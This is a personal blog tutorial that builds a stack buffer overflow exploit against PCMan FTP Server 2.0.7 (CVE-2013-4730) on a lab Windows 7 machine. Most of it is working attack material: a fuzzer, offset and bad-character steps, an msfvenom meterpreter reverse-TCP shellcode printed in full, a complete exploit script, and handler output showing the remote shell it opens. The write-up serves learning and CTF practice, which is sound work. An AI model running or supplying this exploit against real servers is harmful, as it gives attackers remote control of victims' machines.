PCMan BOFing
Picture this… you are having a crack at a CTF comp, and you have managed to smash most of the miscellaneous, web, forensic, and trivia challenges. The scoreboard shows that you have had a pretty good run, but then.. one by one other teams start to leap frog you on the ladder! What is going on!?! Opening up the CTF challenges tab it’s pretty obvious why your points accumulation has stopped dead… the dreaded Binary challenges!
Binary exploitation is a weak area for me, so I have decided to randomly choose a vulnerability from exploit-db and have a bit of a dabble in this space.. at least gain enough knowledge to be a little dangerous. I am writing this post as a reference for me to be able to look back on, but if you are keen to learn a bit of binary exploitation too then hopefully these write-ups will be helpful for you.
First up… I am going to have a crack at an application called PCMan FTP Server 2.0.7 (server). This application has a number of known buffer overflow (BOF) vulnerabilities (CVE-2013-4730), and my goal is to see if I can create my own exploit without referring to anyone else’s work.
The following is what I will be using for this exercise:
- The vulnerable PCMan FTP Server 2.0.7. Grab it from exploit-db
- Immunity Debugger which you can grab from here
- The mona.py plug-in for Immunity. Grab it here
- A windows box of some form. I will be using Windows 7 SP1 x64 (
DEP
disabled! <-- important)
Once you have followed the how to install and configure bouncing balls in the readme files, let’s rock and roll!
First things first… start the server.
The CVE entry for this application states that the USER command is vulnerable to a BOF
, however almost all input for the server seems to be vulnerable to a BOF
so I will concentrate on the PUT
input method. Let’s start by creating a simple fuzzer to help us find roughly where the BOF
occurs.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
#!/usr/bin/python # Fuzzer for PCMan FTP Server 2.0.7 import sys, socket from time import sleep if len(sys.argv) <= 1: print "Usage: python fuzzer.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) buffer = "\x41"*50 print "[-] Fuzzing " + host + ":" + str(port) while 1: try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(2) s.connect((host, port)) s.recv(1024) s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS anonymous\r\n") s.recv(1024) print "[+] Sending buffer size of "+str(len(buffer)) s.send("PUT " + buffer + "\r\n") s.close() sleep(1) buffer = buffer + "\x41" * 50 except: print "[*] Possible crash with buffer size of "+str(len(buffer)-50) sys.exit() |
Next, open up the Immunity Debugger (immunity) and attach the running server process.
Be sure to run the program in immunity by pressing F2
or pressing the ‘go’ arrow on the toolbar.
Now.. let’s kick off our fuzzer and see if the server buckles over.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
omerta:~/pcman_exploit# python fuzzer.py 192.168.77.50 21 [-] Fuzzing 192.168.77.50:21 [+] Sending buffer size of 50 [+] Sending buffer size of 100 [+] Sending buffer size of 150 [+] Sending buffer size of 200 [+] Sending buffer size of 250 [+] Sending buffer size of 300 --snip-- [+] Sending buffer size of 1750 [+] Sending buffer size of 1800 [+] Sending buffer size of 1850 [+] Sending buffer size of 1900 [+] Sending buffer size of 1950 [+] Sending buffer size of 2000 [+] Sending buffer size of 2050 [*] Possible crash with buffer size of 2050 omerta:~/pcman_exploit# |
BAM! Sending a buffer length of somewhere between 2000 and 2050 characters causes the application to crash. Let’s check out how our registers look in immunity.
Nice. You can see that we have overwritten EIP
with our buffer, so our exploit could possibly be a simple case of manipulating EIP
and pointing it to an address which holds JMP ESP
or similar.
Let’s start building our exploit. First, we need to find the offset, which is the point where we can start to overwrite EIP
. We know from our fuzzer that it is somewhere between 2000 and 2050 characters long, so let’s create a python script and send 2050 “A” (\x41 in hex) characters to our server….
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#!/usr/bin/python # Exploit: PCMan FTP Server 2.0.7 PUT Buffer Overflow # Author: @xerubus # CVE: 2013-4730 import sys, socket if len(sys.argv) <= 1: print "Usage: python exploit.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) buffer = "\x41" * 2050 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.recv(1024) s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS anonymous\r\n") s.recv(1024) s.send("PUT "+ buffer + "\r\n") s.close() |
… and execute it to make sure we can trigger the crash.
1 |
omerta:~/pcman_exploit# python exploit.py 192.168.77.50 21 |
Voila!
In order to find our offset, we will use the pattern_create.rb
script to generate a pattern length of 2050 characters.
1 2 |
omerta:~/pcman_exploit# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2050 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0 ---snip--- |
… and replace our buffer of “A” characters with the generated pattern.
1 |
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2C" |
Start up the server again, attach immunity to the process, and fire off our modified exploit. Let’s take a look at the registers now.
In order to find the offset where we have overwritten EIP
, we can use the pattern_offset.rb
script by feeding it the hex value stored in EIP
when we crashed the server.
1 2 |
omerta:~/pcman_exploit# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2050 -q 0x7043396F [*] Exact match at offset 2008 |
Great! Let’s test the offset by sending 2008 “A” characters as rubbish, and check if we can fill EIP
with “B” (\x42 in hex) characters.
Now we are on a roll! As you can see, the value of EIP
is our 4 “B” characters. So what does this mean? Well, if we can control the value of EIP
, then we can control the execution flow of the program. Our goal now is simple, we need to tell the program to jump to a register which holds our shellcode. In this case, let’s see if we can find a useful jump to take us to ESP
. We will call on mona’s help here to find any jmp esp
results by executing !mona jmp -r ESP
We can see in the results that we do have a jmp esp
at 0x0043410d
, and that this location is not protected by ASLR. However, we are looking at a BOF on user input, and the \x00 will be interpreted as a NULL character, ending our control of the program execution. There is a way we could use this address and perform a partial overwrite, but that is beyond my current knowledge and out of scope for this exercise. I will look into this at a later date and write another post based around EIP partial overwrites etc.
So for now, we need to find another instruction to jmp esp
. Let’s instruct mona
to look at all modules for jmp esp
by executing !mona jmp -m * -r esp
.
Now there are a lot to choose from! The downside of using any system modules in this case is that they are all protected by ASLR, which means that once we reboot the system or there is a significant change, the address value we choose will no longer exist. As stated above regarding EIP partial overwrites, this is outside of the scope of this write-up. Once I understand how to work with partial overwrites and how to bypass ASLR, I will write an follow-up to this post and share the knowledge.
So let’s pick the following location (yours will be a different address):
1 |
Address=76505A9F Message= 0x76505a9f (b+0x00025a9f) : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\syswow64\SHELL32.dll) |
Before we go any further, a quick recap what we have so far.
- The amount of rubbish we need to send in order to get to our offset
- An address which we can use to force the program to jump to
ESP
Next up, we need a payload for our exploit. Our missing pieces are a NOP
sled (a handful of no operation codes (“\x90” in hex)) and some shellcode. But first, we need to find if there are any bad characters which we need to avoid in our shellcode. To do this, we will use mona
once again by executing !mona bytearray -cpb '\x00'
to generate a list of all characters. Note we ask mona
to exclude the NULL (“\x00”) character as we already know this will break our execution.
Now we will build our exploit, filling EIP with 4 “B” characters and placing the characters from the bytearray.txt file which mona
generated into the variable which will hold our final shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
#!/usr/bin/python # Exploit: PCMan FTP Server 2.0.7 PUT Buffer Overflow # Author: @xerubus # CVE: 2013-4730 import sys, socket if len(sys.argv) <= 1: print "Usage: python exploit.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) rubbish = "\x41" * 2008 # eip offset eip = "\x42" * 4 payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer = rubbish + eip + payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.recv(1024) s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS anonymous\r\n") s.recv(1024) s.send("PUT "+ buffer + "\r\n") s.close() |
Start up the server… attach immunity to the process… and then run the exploit. Now search for the first full address after our EIP
, which is 0x0018F558
in my case, and this will be the address we use to help mona
find bad characters which we cannot use in our final shellcode.
Issue the following command in immunity
to have mona
test for bad characters….. !mona compare -f C:\mona_logs\PCManFTPD2\bytearray.bin -a 0x0018F558
… and as you can see, mona
has determined that 0x0a
is possibly a bad character which we should avoid. Remove this from our payload, and rinse and repeat the above steps until mona
cannot locate any further bad characters.
Nice! Now that we know what characters to avoid in our shellcode, we can generate a payload, with the help of msfvenom, to create a sexy sexy reverse TCP shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.77.43 LPORT=31337 -b '\x00\x0a\x0d' -f python No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes buf = "" buf += "\xd9\xf7\xbb\x75\x75\x35\xe0\xd9\x74\x24\xf4\x5a\x33" buf += "\xc9\xb1\x54\x83\xc2\x04\x31\x5a\x14\x03\x5a\x61\x97" buf += "\xc0\x1c\x61\xd5\x2b\xdd\x71\xba\xa2\x38\x40\xfa\xd1" buf += "\x49\xf2\xca\x92\x1c\xfe\xa1\xf7\xb4\x75\xc7\xdf\xbb" buf += "\x3e\x62\x06\xf5\xbf\xdf\x7a\x94\x43\x22\xaf\x76\x7a" buf += "\xed\xa2\x77\xbb\x10\x4e\x25\x14\x5e\xfd\xda\x11\x2a" buf += "\x3e\x50\x69\xba\x46\x85\x39\xbd\x67\x18\x32\xe4\xa7" buf += "\x9a\x97\x9c\xe1\x84\xf4\x99\xb8\x3f\xce\x56\x3b\x96" buf += "\x1f\x96\x90\xd7\x90\x65\xe8\x10\x16\x96\x9f\x68\x65" buf += "\x2b\x98\xae\x14\xf7\x2d\x35\xbe\x7c\x95\x91\x3f\x50" buf += "\x40\x51\x33\x1d\x06\x3d\x57\xa0\xcb\x35\x63\x29\xea" buf += "\x99\xe2\x69\xc9\x3d\xaf\x2a\x70\x67\x15\x9c\x8d\x77" buf += "\xf6\x41\x28\xf3\x1a\x95\x41\x5e\x72\x5a\x68\x61\x82" buf += "\xf4\xfb\x12\xb0\x5b\x50\xbd\xf8\x14\x7e\x3a\xff\x0e" ---snip--- |
Okay.. recap. We now have junk to get us to offset, an address to jump ESP
, a NOP
sled, and now a payload to deliver!
The next obvious step? Put it all together and build our exploit!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
#!/usr/bin/python # Exploit: PCMan FTP Server 2.0.7 PUT Buffer Overflow # Author: @xerubus # CVE: 2013-4730 import sys, socket if len(sys.argv) <= 1: print "Usage: python exploit.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) rubbish = "\x41" * 2008 # eip offset eip = "\x9f\x5a\x50\x76" # 0x76505a9f (b+0x00025a9f) : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] nop = "\x90" * 30 # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.77.43 LPORT=31337 -b '\x00\x0a\x0d' -f python # Payload size: 360 bytes # # set payload windows/meterpreter/reverse_tcp # set lhost <host> # set lport <port> # set exitonsession false # exploit -j -z buf = "" buf += "\xd9\xf7\xbb\x75\x75\x35\xe0\xd9\x74\x24\xf4\x5a\x33" buf += "\xc9\xb1\x54\x83\xc2\x04\x31\x5a\x14\x03\x5a\x61\x97" buf += "\xc0\x1c\x61\xd5\x2b\xdd\x71\xba\xa2\x38\x40\xfa\xd1" buf += "\x49\xf2\xca\x92\x1c\xfe\xa1\xf7\xb4\x75\xc7\xdf\xbb" buf += "\x3e\x62\x06\xf5\xbf\xdf\x7a\x94\x43\x22\xaf\x76\x7a" buf += "\xed\xa2\x77\xbb\x10\x4e\x25\x14\x5e\xfd\xda\x11\x2a" buf += "\x3e\x50\x69\xba\x46\x85\x39\xbd\x67\x18\x32\xe4\xa7" buf += "\x9a\x97\x9c\xe1\x84\xf4\x99\xb8\x3f\xce\x56\x3b\x96" buf += "\x1f\x96\x90\xd7\x90\x65\xe8\x10\x16\x96\x9f\x68\x65" buf += "\x2b\x98\xae\x14\xf7\x2d\x35\xbe\x7c\x95\x91\x3f\x50" buf += "\x40\x51\x33\x1d\x06\x3d\x57\xa0\xcb\x35\x63\x29\xea" buf += "\x99\xe2\x69\xc9\x3d\xaf\x2a\x70\x67\x15\x9c\x8d\x77" buf += "\xf6\x41\x28\xf3\x1a\x95\x41\x5e\x72\x5a\x68\x61\x82" buf += "\xf4\xfb\x12\xb0\x5b\x50\xbd\xf8\x14\x7e\x3a\xff\x0e" buf += "\xc6\xd4\xfe\xb0\x37\xfc\xc4\xe5\x67\x96\xed\x85\xe3" buf += "\x66\x12\x50\x99\x63\x84\x9b\xf6\x21\x7f\x74\x05\xba" buf += "\x05\xed\x80\x5c\xa9\xbd\xc2\xf0\x09\x6e\xa3\xa0\xe1" buf += "\x64\x2c\x9e\x11\x87\xe6\xb7\xbb\x68\x5f\xef\x53\x10" buf += "\xfa\x7b\xc2\xdd\xd0\x01\xc4\x56\xd1\xf6\x8a\x9e\x90" buf += "\xe4\xfa\xfe\x5a\xf5\xfa\x6a\x5b\x9f\xfe\x3c\x0c\x37" buf += "\xfc\x19\x7a\x98\xff\x4f\xf8\xdf\xff\x11\xc9\x94\xc9" buf += "\x87\x75\xc3\x35\x48\x76\x13\x63\x02\x76\x7b\xd3\x76" buf += "\x25\x9e\x1c\xa3\x59\x33\x88\x4c\x08\xe7\x1b\x25\xb6" buf += "\xde\x6b\xea\x49\x35\xe8\xed\xb6\xcb\xcc\x55\xdf\x33" buf += "\x50\x66\x1f\x5e\x50\x36\x77\x95\x7f\xb9\xb7\x56\xaa" buf += "\x92\xdf\xdd\x3a\x50\x41\xe1\x17\x34\xdf\xe2\x9b\xed" buf += "\x36\x6d\x5c\x12\x37\x8f\x61\xc4\x0e\xe5\xa2\xd4\x34" buf += "\xf6\x99\x79\x1c\x9d\xe1\x2e\x5e\xb4" evil = rubbish + eip + nop + buf s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.recv(1024) s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS anonymous\r\n") s.recv(1024) s.send("PUT " + evil + "\r\n") s.close() |
Now let’s set up a meterpreter listener for our reverse TCP connection, execute our exploit, and cross all of our bits in the hope of getting a shell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.77.43 msf exploit(handler) > set lport 31337 msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j -z [*] Exploit running as background job. [*] [2016.06.01-21:19:39] Started reverse TCP handler on 192.168.77.43:31337 msf exploit(handler) > [*] [2016.06.01-21:19:39] Starting the payload handler... [*] [2016.06.01-21:19:45] Encoded stage with x86/shikata_ga_nai [*] [2016.06.01-21:19:45] Sending encoded stage (958029 bytes) to 192.168.77.50 [*] Meterpreter session 1 opened (192.168.77.43:31337 -> 192.168.77.50:49247) at 2016-06-01 21:19:46 +1000 [*] AutoAddRoute: Routing new subnet 192.168.77.0/255.255.255.0 through session 1 msf exploit(handler) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 omerta-win7\xerubus @ OMERTA-WIN7 192.168.77.43:31337 -> 192.168.77.50:49247 (192.168.77.50) msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: omerta-win7\xerubus meterpreter > sysinfo Computer : OMERTA-WIN7 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 (Current Process is WOW64) System Language : en_AU Domain : WORKGROUP Logged On Users : 1 Meterpreter : x86/win32 |
GAME OVER!! A wild sexy sexy shell appears!
Moving forward I will write another post with the same server, but this time with DEP
enabled. We will try to bypass ASLR
and even have a crack at a partial EIP
overwrite. But until then, I hope you enjoyed the writeup….
Tight lines and happy hacking!